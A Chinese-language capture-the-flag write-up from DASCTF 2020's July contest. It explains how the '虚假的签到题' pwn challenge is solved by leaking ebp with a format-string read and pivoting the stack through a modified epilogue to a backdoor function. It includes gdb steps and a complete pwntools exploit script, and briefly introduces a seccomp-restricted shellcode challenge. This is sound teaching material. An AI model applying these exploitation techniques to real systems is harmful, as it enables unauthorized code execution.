DASCTF2020-7月赛 虚假的签到题
说实话有点被出题人恶心到了,主要还是自己太菜了。。。😢
拿到题目直接ida打开,按f5一顿分析
就这太简单了吧!先格式化字符串漏洞,后栈溢出,猜想肯定是先用格式化字符串泄漏canary,再利用栈溢出控制程序流,执行后门函数。查看保护机制
嗯。。。没有canary保护,那这个格式化字符串漏洞是干嘛用的?然后直接栈溢出发现拿不到shell。这就很奇怪了???其实到这里就到死胡同了,我们回头来看一下main函数的汇编代码,可以看到出题人在程序的最后做了修改
程序leave以后会修改esp为ecx-4,而ecx的值为ebp-4地址上的值。也就是:esp=*[ebp-4]-4。因此我们首先需要利用格式化字符漏洞泄漏出ebp的值,然后修改ebp-4为我们可写的地址,并且修改该地址-4处的值为backdoor,我们就可以获得shell了。
具体的调试流程:
1.启动gdb,设置两个断点分别为0x080485F5和0x80485C7
2.运行(r),遇到第一次输入"a",程序停在0x080485C7
可以看到此时的ebp为0xffffcfa8,位于格式化字符串偏移为2的地方,所以利用格式化字符串"%2$p"就可以泄漏出ebp中的地址了。
3.继续运行(c),遇到第二次输入"aaaa",程序停在0x080485F5
可以看到此时我们输入的字符串的起始位置是0xffffcf80,如果我们在0xffffcf80的位置上写入后门函数地址,让ebp-4的位置放上0xffffcf84,这样ecx就为0xffffcf84,而ecx-4赋给esp就正好是我们的后门函数了。
所以我们可以计算出ebp-4的位置的值应该是 ebp-0x24(0xffffcfa8 - 0xffffcf84 = 0x24)
而中间需要0x20的铺垫(0xffffcfa4 - 0xffffcf84 = 0x20)
现在可以构造exp
from pwn import *
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
sea = lambda delim,data :sh.sendafter(delim, data)
r = lambda numb=4096 :sh.recv(numb)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr :sh.info(tag +': {:#x}'.format(addr))
itr = lambda :sh.interactive()
debug = lambda command='' :gdb.attach(sh,command)
sh=process('./qiandao')
ru(":")
sl("%2$p")
ru("\n")
stack=int(ru("\n").replace("\n",""),16)-0x24
info_addr("stack",stack)
ru("?")
payload=p32(0x0804857D)+"\x00"*0x20+p32(stack)
sl(payload)
itr()
参考链接:
https://nop-sw.github.io/wiki/wp/DASCTF-%E4%B8%83%E6%9C%88%E8%B5%9B/#_1
DASCTF-7月赛 eg32
程序本身没有开任何保护,并且逻辑也很简单,就是写入一段shellcode,程序会跳转执行这段shellcode。关键的问题在于程序中存在沙箱过滤,无法调用open、execve、syscall等无法使用。有关于沙箱过滤的这是第一次遇到,相关的前置知识可以查看这两篇文章
http://www.secwk.com/2019/09/20/6564/
https://www.anquanke.com/post/id/208364#h2-10
seccomp在ctf中大多用于禁用execve函数,解决办法就是构造shellcode,用open->read->write的方式读flag